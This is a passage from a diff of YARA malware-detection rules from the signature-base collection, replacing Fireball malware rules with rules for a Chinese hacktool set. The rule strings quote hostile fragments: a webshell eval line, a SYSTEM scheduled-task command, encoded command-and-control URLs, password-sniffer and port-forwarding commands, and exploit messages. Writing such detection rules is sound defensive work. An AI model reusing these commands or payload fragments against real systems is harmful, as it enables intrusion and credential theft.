+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1028-L1049"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "64403ce63b28b544646a30da3be2f395788542d6"
+		logic_hash = "91ed275896c2520893ba1af26b2563c0bd3564a9c5f9d812f35464469e27307b"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "ac44513e5ef93d8cbc17219350682c2246af6d5eb85c1b4302141d94c3b06c90"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "http://f/<script language=\"JScript\" runat=\"server\">var _0x" ascii
-		$s2 = "));function Page_Load(){var _0x" ascii
-		$s3 = ";eval(Request[_0x" ascii
-		$s4 = "','orange','unsafe','" ascii
+		$s1 = "%SystemRoot%\\system32\\PipeCmdSrv.exe" fullword ascii
+		$s2 = "PipeCmd.exe" fullword wide
+		$s3 = "Please Use NTCmd.exe Run This Program." fullword ascii
+		$s4 = "%s\\pipe\\%s%s%d" fullword ascii
+		$s5 = "\\\\.\\pipe\\%s%s%d" fullword ascii
+		$s6 = "%s\\ADMIN$\\System32\\%s%s" fullword ascii
+		$s7 = "This is a service executable! Couldn't start directly." fullword ascii
+		$s8 = "Connecting to Remote Server ...Failed" fullword ascii
+		$s9 = "PIPECMDSRV" fullword wide
 
 	condition:
-		filesize <3KB and 1 of them or 2 of them
+		uint16(0)==0x5a4d and filesize <200KB and 4 of them
 }
-rule SIGNATURE_BASE_Fireball_De_Svr : FILE
+rule SIGNATURE_BASE_Dos_Fp : FILE
 {
 	meta:
-		description = "Detects Fireball malware - file de_svr.exe"
+		description = "Chinese Hacktool Set - file fp.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "29395239-66d8-5340-b884-9b8f036cc27f"
-		date = "2017-06-02"
+		id = "f4427aab-50c3-5bb9-997a-75e162a83f8a"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/4pTkGQ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_fireball.yar#L12-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9ac858b3ce50daac811ded4664f2a602a32d8811825733d235125fc81a488e58"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1051-L1067"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "41d57d356098ff55fe0e1f0bcaa9317df5a2a45c"
+		logic_hash = "cc09743269ee36862c95c9323ad271ca9b6c350cf25163d126fef0f86bc6f671"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f964a4b95d5c518fd56f06044af39a146d84b801d9472e022de4c929a5b8fdcc"
 
 	strings:
-		$s1 = "cmd.exe /c MD " fullword ascii
-		$s2 = "rundll32.exe \"%s\",%s" fullword wide
-		$s3 = "http://d12zpbetgs1pco.cloudfront.net/Weatherapi/shell" fullword wide
-		$s4 = "C:\\v3\\exe\\de_svr_inst.pdb" fullword ascii
-		$s5 = "Internet Connect Failed!" fullword ascii
+		$s1 = "fpipe -l 53 -s 53 -r 80 192.168.1.101" fullword ascii
+		$s2 = "FPipe.exe" fullword wide
+		$s3 = "http://www.foundstone.com" fullword ascii
+		$s4 = "%s %s port %d. Address is already in use" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <3000KB and 4 of them )
+		uint16(0)==0x5a4d and filesize <65KB and all of them
 }
-rule SIGNATURE_BASE_Fireball_Lancer : FILE
+rule SIGNATURE_BASE_Dos_Netstat : FILE
 {
 	meta:
-		description = "Detects Fireball malware - file lancer.dll"
+		description = "Chinese Hacktool Set - file netstat.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2209bcb4-74a6-5c39-962c-ccd4ce62619e"
-		date = "2017-06-02"
+		id = "bc3141bf-4e82-5aa4-a8a6-a0a4586ee9a1"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/4pTkGQ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_fireball.yar#L31-L51"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "74df144556121609da0820c319a86a9de0f49eeb2d4b1ed59c3a4d0c1d7788cb"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1069-L1085"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d0444b7bd936b5fc490b865a604e97c22d97e598"
+		logic_hash = "e2b908308616c3f2c94849b4f22f0e9bb130b5759d89161604505ff25681be55"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7d68386554e514f38f98f24e8056c11c0a227602ed179d54ed08f2251dc9ea93"
 
 	strings:
-		$x1 = "\\instlsp\\Release\\Lancer.pdb" ascii
-		$x2 = "lanceruse.dat" fullword wide
-		$s1 = "Lancer.dll" fullword ascii
-		$s2 = "RunDll32.exe \"" fullword wide
-		$s3 = "Micr.dll" fullword wide
-		$s4 = "AG64.dll" fullword wide
-		$s5 = "\",Start" fullword wide
+		$s0 = "w03a2409.dll" fullword ascii
+		$s1 = "Retransmission Timeout Algorithm    = unknown (%1!u!)" fullword wide
+		$s2 = "Administrative Status  = %1!u!" fullword wide
+		$s3 = "Packet Too Big            %1!-10u!  %2!-10u!" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or 3 of ($s*))) or (6 of them )
+		uint16(0)==0x5a4d and filesize <150KB and all of them
 }
-rule SIGNATURE_BASE_Qqbrowser : FILE
+rule SIGNATURE_BASE_CN_Tools_Xsniff : FILE
 {
 	meta:
-		description = "Not malware but suspicious browser - file QQBrowser.exe"
+		description = "Chinese Hacktool Set - file xsniff.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "457507c5-0411-5d72-891b-ae3e428ea2d6"
-		date = "2017-06-02"
+		id = "a0fdac88-a7b8-5d24-9012-2bfe7b07e675"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/4pTkGQ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_fireball.yar#L53-L70"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "525d134f57aaa314bcf0676678264e518edb785970478cb31a8fb6f1c8c92263"
-		score = 50
-		quality = 83
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1087-L1104"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d61d7329ac74f66245a92c4505a327c85875c577"
+		logic_hash = "a32d07ecd635ad71edaa37d9b1e5f66d8ce5a7f84f1bba6eb06deb1f49a879c8"
+		score = 75
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "adcf6b8aa633286cd3a2ce7c79befab207802dec0e705ed3c74c043dabfc604c"
 
 	strings:
-		$s1 = "TerminateProcessWithoutDump" fullword ascii
-		$s2 = ".Downloader.dll" fullword wide
-		$s3 = "Software\\Chromium\\BrowserCrashDumpAttempts" fullword wide
-		$s4 = "QQBrowser_Broker.exe" fullword wide
+		$s0 = "xsiff.exe -pass -hide -log pass.log" fullword ascii
+		$s1 = "HOST: %s USER: %s, PASS: %s" fullword ascii
+		$s2 = "xsiff.exe -tcp -udp -asc -addr 192.168.1.1" fullword ascii
+		$s10 = "Code by glacier <glacier@xfocus.org>" fullword ascii
+		$s11 = "%-5s%s->%s Bytes=%d TTL=%d Type: %d,%d ID=%d SEQ=%d" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
+		uint16(0)==0x5a4d and filesize <220KB and 2 of them
 }
-rule SIGNATURE_BASE_Chrome_Elf : FILE
+rule SIGNATURE_BASE_Mssqlpass : FILE
 {
 	meta:
-		description = "Detects Fireball malware - file chrome_elf.dll"
+		description = "Chinese Hacktool Set - file MSSqlPass.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8680d5b5-e26f-5a3f-aeab-b965afe91027"
-		date = "2017-06-02"
+		id = "d45b417f-3649-5603-bd19-8b8bcc19dabc"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/4pTkGQ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_fireball.yar#L72-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "89f0ab16f164222ecf2a4b14bee02d0c24517d03d1c12b25f5158eebc31b3e3d"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1106-L1121"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "172b4e31ed15d1275ac07f3acbf499daf9a055d7"
+		logic_hash = "8037316eb157f8693bd342911af5fe5292f3ef8a3c169c80bc70edbabd7a92e6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e4d4f6fbfbbbf3904ca45d296dc565138a17484c54aebbb00ba9d57f80dfe7e5"
 
 	strings:
-		$x2 = "schtasks /Create /SC HOURLY /MO %d /ST 00:%02d:00 /TN \"%s\" /TR \"%s\" /RU \"SYSTEM\"" fullword wide
-		$s6 = "aHR0cDovL2R2Mm0xdXVtbnNndHUuY2xvdWRmcm9udC5uZXQvdjQvZ3RnLyVzP2FjdGlvbj12aXNpdC5jaGVsZi5pbnN0YWxs" fullword ascii
-		$s7 = "QueryInterface call failed for IExecAction: %x" fullword ascii
-		$s10 = "%s %s,Rundll32_Do %s" fullword wide
-		$s13 = "Failed to create an instance of ITaskService: %x" fullword ascii
-		$s16 = "Rundll32_Do" fullword ascii
+		$s0 = "Reveals the passwords stored in the Registry by Enterprise Manager of SQL Server" wide
+		$s1 = "empv.exe" fullword wide
+		$s2 = "Enterprise Manager PassView" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and 4 of them )
+		uint16(0)==0x5a4d and filesize <120KB and all of them
 }
-rule SIGNATURE_BASE_Fireball_Regkey : FILE
+rule SIGNATURE_BASE_Wsockexpert : FILE
 {
 	meta:
-		description = "Detects Fireball malware - file regkey.exe"
+		description = "Chinese Hacktool Set - file WSockExpert.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6e22bb93-8c8b-510f-a9e4-6e57c392c2ae"
-		date = "2017-06-02"
-		modified = "2022-12-21"
-		reference = "https://goo.gl/4pTkGQ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_fireball.yar#L92-L108"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f8fe8b1edb009ac84acf6159feada91d364507c53a9f92abd6b245b38fa058f5"
+		id = "0ae115be-c516-5f4a-97ce-555d84f42947"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1123-L1141"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2962bf7b0883ceda5e14b8dad86742f95b50f7bf"
+		logic_hash = "34ac3c5f0651ccab851d67da8863e0e305f981cf53a06d46c23f19736cc1c400"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fff2818caa9040486a634896f329b8aebaec9121bdf9982841f0646763a1686b"
 
 	strings:
-		$s1 = "\\WinMain\\Release\\WinMain.pdb" ascii
-		$s2 = "ScreenShot" fullword wide
-		$s3 = "WINMAIN" fullword wide
+		$s1 = "OpenProcessCmdExecute!" fullword ascii
+		$s2 = "http://www.hackp.com" fullword ascii
+		$s3 = "'%s' is not a valid time!'%s' is not a valid date and time" fullword wide
+		$s4 = "SaveSelectedFilterCmdExecute" fullword ascii
+		$s5 = "PasswordChar@" fullword ascii
+		$s6 = "WSockHook.DLL" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		uint16(0)==0x5a4d and filesize <2500KB and 4 of them
 }
-rule SIGNATURE_BASE_Fireball_Winsap : FILE
+rule SIGNATURE_BASE_Ms_Viru_Racle : FILE
 {
 	meta:
-		description = "Detects Fireball malware - file winsap.dll"
+		description = "Chinese Hacktool Set - file racle.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e68e7738-f325-5b73-9e61-4e2413b7b7be"
-		date = "2017-06-02"
+		id = "bdc78dcc-79e6-5516-bba2-54bf537eae38"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/4pTkGQ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_fireball.yar#L110-L128"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "de722d90d82f82faa5dfe5991c846e5c16deb919ae653b8f9fe4d1ad0384c41d"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1143-L1159"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "13116078fff5c87b56179c5438f008caf6c98ecb"
+		logic_hash = "d36db04c6a62a72e9f3079d09aedc9056c0a5032b4594af4d02ba55373f8b6a4"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c7244d139ef9ea431a5b9cc6a2176a6a9908710892c74e215431b99cd5228359"
 
 	strings:
-		$s1 = "aHR0cDovL2" ascii
-		$s2 = "%s\\svchost.exe -k %s" fullword wide
-		$s3 = "\\SETUP.dll" wide
-		$s4 = "WinSAP.dll" fullword ascii
-		$s5 = "Error %u in WinHttpQueryDataAvailable." fullword ascii
-		$s6 = "UPDATE OVERWRITE" fullword wide
+		$s0 = "PsInitialSystemProcess @%p" fullword ascii
+		$s1 = "PsLookupProcessByProcessId(%u) Failed" fullword ascii
+		$s2 = "PsLookupProcessByProcessId(%u) => %p" fullword ascii
+		$s3 = "FirstStage() Loaded, CurrentThread @%p Stack %p - %p" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <600KB and 4 of them )
+		uint16(0)==0x5a4d and filesize <210KB and all of them
 }
-rule SIGNATURE_BASE_Fireball_Archer : FILE
+rule SIGNATURE_BASE_Lamescan3 : FILE
 {
 	meta:
-		description = "Detects Fireball malware - file archer.dll"
+		description = "Chinese Hacktool Set - file lamescan3.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "16bb95c1-af69-5688-8999-f097d02d2ffc"
-		date = "2017-06-02"
-		modified = "2022-12-21"
-		reference = "https://goo.gl/4pTkGQ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_fireball.yar#L130-L149"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f566ba477ccf1325914b6c9785e2b85f732b211e9321eea24d6c5a0339ccc4d1"
+		id = "8ff1a0e6-d054-589d-a038-f889951ba250"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1161-L1177"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3130eefb79650dab2e323328b905e4d5d3a1d2f0"
+		logic_hash = "8246128fa4378b0479a0c051965188c7c3fa0f52c8acc8934ef8af3155a85590"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9b4971349ae85aa09c0a69852ed3e626c954954a3927b3d1b6646f139b930022"
 
 	strings:
-		$x1 = "\\archer_lyl\\Release\\Archer_Input.pdb" ascii
-		$s1 = "Archer_Input.dll" fullword ascii
-		$s2 = "InstallArcherSvc" fullword ascii
-		$s3 = "%s_%08X" fullword wide
-		$s4 = "d\\\\.\\PhysicalDrive%d" fullword wide
+		$s1 = "dic\\loginlist.txt" fullword ascii
+		$s2 = "Radmin.exe" fullword ascii
+		$s3 = "lamescan3.pdf!" fullword ascii
+		$s4 = "dic\\passlist.txt" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and ($x1 or 3 of them )
+		uint16(0)==0x5a4d and filesize <3740KB and all of them
 }
-rule SIGNATURE_BASE_Clearlog : FILE
+rule SIGNATURE_BASE_CN_Tools_Pc : FILE
 {
 	meta:
-		description = "Detects Fireball malware - file clearlog.dll"
+		description = "Chinese Hacktool Set - file pc.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3eb58a7a-b04d-52c2-8c3c-c149da8d4aa8"
-		date = "2017-06-02"
+		id = "11cc6c46-33c0-5c53-88f8-700be9ca8add"
+		date = "2015-06-13"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/4pTkGQ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_fireball.yar#L151-L171"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6b6fd74ad184cafa7885385f808034e9211ff37e04ed5e8ea4af2c7fb7d697bd"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1179-L1195"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5cf8caba170ec461c44394f4058669d225a94285"
+		logic_hash = "1da263362e4c2ec8194bb80bfc3f25ff8c4b708919ba02ea02687d5404b99720"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "14093ce6d0fe8ab60963771f48937c669103842a0400b8d97f829b33c420f7e3"
 
 	strings:
-		$x1 = "\\ClearLog\\Release\\logC.pdb" ascii
-		$s1 = "C:\\Windows\\System32\\cmd.exe /c \"\"" fullword wide
-		$s2 = "logC.dll" fullword ascii
-		$s3 = "hhhhh.exe" fullword wide
-		$s4 = "ttttt.exe" fullword wide
-		$s5 = "Logger Name:" fullword ascii
-		$s6 = "cle.log.1" fullword wide
+		$s0 = "\\svchost.exe" ascii
+		$s2 = "%s%08x.001" fullword ascii
+		$s3 = "Qy001Service" fullword ascii
+		$s4 = "/.MIKY" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and $x1 or 2 of them )
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_Fireball_Gubed : FILE
+rule SIGNATURE_BASE_Dos_Down64 : FILE
 {
 	meta:
-		description = "Detects Fireball malware - file gubed.exe"
+		description = "Chinese Hacktool Set - file Down64.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cba2913f-4d9a-5925-ad9a-f5815a635291"
-		date = "2017-06-02"
-		modified = "2022-12-21"
-		reference = "https://goo.gl/4pTkGQ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_fireball.yar#L173-L191"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e8053d8a95d41d81940bbaf7945323849613dbcfe727559a07bc294bd834b65f"
+		id = "b4907ede-dc6a-5b8c-bf1c-557df54191a4"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1197-L1215"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "43e455e43b49b953e17a5b885ffdcdf8b6b23226"
+		logic_hash = "d181c2075762fc3bb5b61bcdef57eb6533cb59dde03c4b901b6ce5b8323f3c8a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e3f69a1fb6fcaf9fd93386b6ba1d86731cd9e5648f7cff5242763188129cd158"
 
 	strings:
-		$x1 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\MRT.exe" fullword wide
-		$x2 = "tIphlpapi.dll" fullword wide
-		$x3 = "http://%s/provide?clients=%s&reqs=visit.startload" fullword wide
-		$x4 = "\\Gubed\\Release\\Gubed.pdb" ascii
-		$x5 = "d2hrpnfyb3wv3k.cloudfront.net" fullword wide
+		$s1 = "C:\\Windows\\Temp\\Down.txt" fullword wide
+		$s2 = "C:\\Windows\\Temp\\Cmd.txt" fullword wide
+		$s3 = "C:\\Windows\\Temp\\" wide
+		$s4 = "ProcessXElement" fullword ascii
+		$s8 = "down.exe" fullword wide
+		$s20 = "set_Timer1" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
+		uint16(0)==0x5a4d and filesize <150KB and all of them
 }
-rule SIGNATURE_BASE_Tofu_Backdoor
+rule SIGNATURE_BASE_Epathobj_Exp32 : FILE
 {
 	meta:
-		description = "Detects Tofu Trojan"
-		author = "Cylance"
-		id = "03848366-f139-5352-959d-390992d96296"
-		date = "2017-02-28"
-		modified = "2023-12-05"
-		reference = "https://www.cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ham_tofu_chches.yar#L11-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "67c49456dbe4dc4c8bc54139ce6d493ea5588392d8c64010d029d7a63ac7f976"
+		description = "Chinese Hacktool Set - file epathobj_exp32.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ca4639af-ee4f-5220-9595-e7a06b9a8534"
+		date = "2015-06-13"
+		modified = "2022-12-21"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1217-L1235"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ed86ff44bddcfdd630ade8ced39b4559316195ba"
+		logic_hash = "8959837257848a08240d0423971b9d3a850a7e9cc796de2c9b2d34814923f8ec"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a = "Cookies: Sym1.0"
-		$b = "\\\\.\\pipe\\1[12345678]"
-		$c = {66 0F FC C1 0F 11 40 D0 0F 10 40 D0 66 0F EF C2 0F 11 40 D0 0F 10 40 E0}
+		$s0 = "Watchdog thread %d waiting on Mutex" fullword ascii
+		$s1 = "Exploit ok run command" fullword ascii
+		$s2 = "\\epathobj_exp\\Release\\epathobj_exp.pdb" ascii
+		$s3 = "Alllocated userspace PATHRECORD () %p" fullword ascii
+		$s4 = "Mutex object did not timeout, list not patched" fullword ascii
 
 	condition:
-		$a or $b or $c
+		uint16(0)==0x5a4d and filesize <270KB and all of them
 }
-rule SIGNATURE_BASE_MAL_ME_Rawdisk_Agent_Jan20_1 : FILE
+rule SIGNATURE_BASE_Tools_Unknown : FILE
 {
 	meta:
-		description = "Detects suspicious malware using ElRawDisk"
+		description = "Chinese Hacktool Set - file unknown.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0efaae51-1407-5039-9e5a-9c2f13d6a971"
-		date = "2020-01-02"
-		modified = "2022-12-21"
-		reference = "Saudi National Cybersecurity Authority - Destructive Attack DUSTMAN"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dustman.yar#L2-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "90345b8358d72b6616c6277222fb1091cb3a88b844391ac3766e7d1ee1192fbe"
-		score = 65
+		id = "2cb75a84-506d-5b67-8b1f-b91beb5a99a3"
+		date = "2015-06-13"
+		modified = "2023-12-05"
+		reference = "http://tools.zjqhr.com/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_cn_hacktools.yar#L1237-L1254"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "4be8270c4faa1827177e2310a00af2d5bcd2a59f"
+		logic_hash = "493bb63d4dd519efbf53a29fa44ef74f0a85943b2d9f49f11e3daa57c6b03d8e"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "44100c73c6e2529c591a10cd3668691d92dc0241152ec82a72c6e63da299d3a2"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "\\drv\\agent.plain.pdb" ascii
-		$x2 = " ************** Down With Saudi Kingdom, Down With Bin Salman ************** " fullword ascii
-		$s1 = ".?AVERDError@@" fullword ascii
-		$s2 = "b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d" fullword wide
-		$s3 = "\\\\?\\ElRawDisk" fullword wide
-		$s4 = "\\??\\c:" wide
-		$op1 = { e9 3d ff ff ff 33 c0 48 89 05 0d ff 00 00 48 8b }
-		$op2 = { 0f b6 0c 01 88 48 34 48 8b 8d a8 }
+		$s1 = "No data to read.$Can not bind in port range (%d - %d)" fullword wide
+		$s2 = "GET /ok.asp?id=1__sql__ HTTP/1.1" fullword ascii
+		$s3 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
+		$s4 = "Failed to clear tab control Failed to delete tab at index %d\"Failed to retrieve" wide
+		$s5 = "Host: 127.0.0.1" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <=2000KB and (1 of ($x*) or 4 of them )
+		uint16(0)==0x5a4d and filesize <2500KB and 4 of them
 }
-rule SIGNATURE_BASE_MAL_ME_Rawdisk_Agent_Jan20_2 : FILE
+rule SIGNATURE_BASE_PLUGIN_Ajunk : FILE
 {
 	meta:
-		description = "Detects suspicious malware using ElRawDisk"
+		description = "Chinese Hacktool Set - file AJunk.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9817fb22-7bed-5869-aa92-66c458b81c7f"
-		date = "2020-01-02"
-		modified = "2022-12-21"
-		reference = "https://twitter.com/jfslowik/status/1212501454549741568?s=09"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_dustman.yar#L26-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
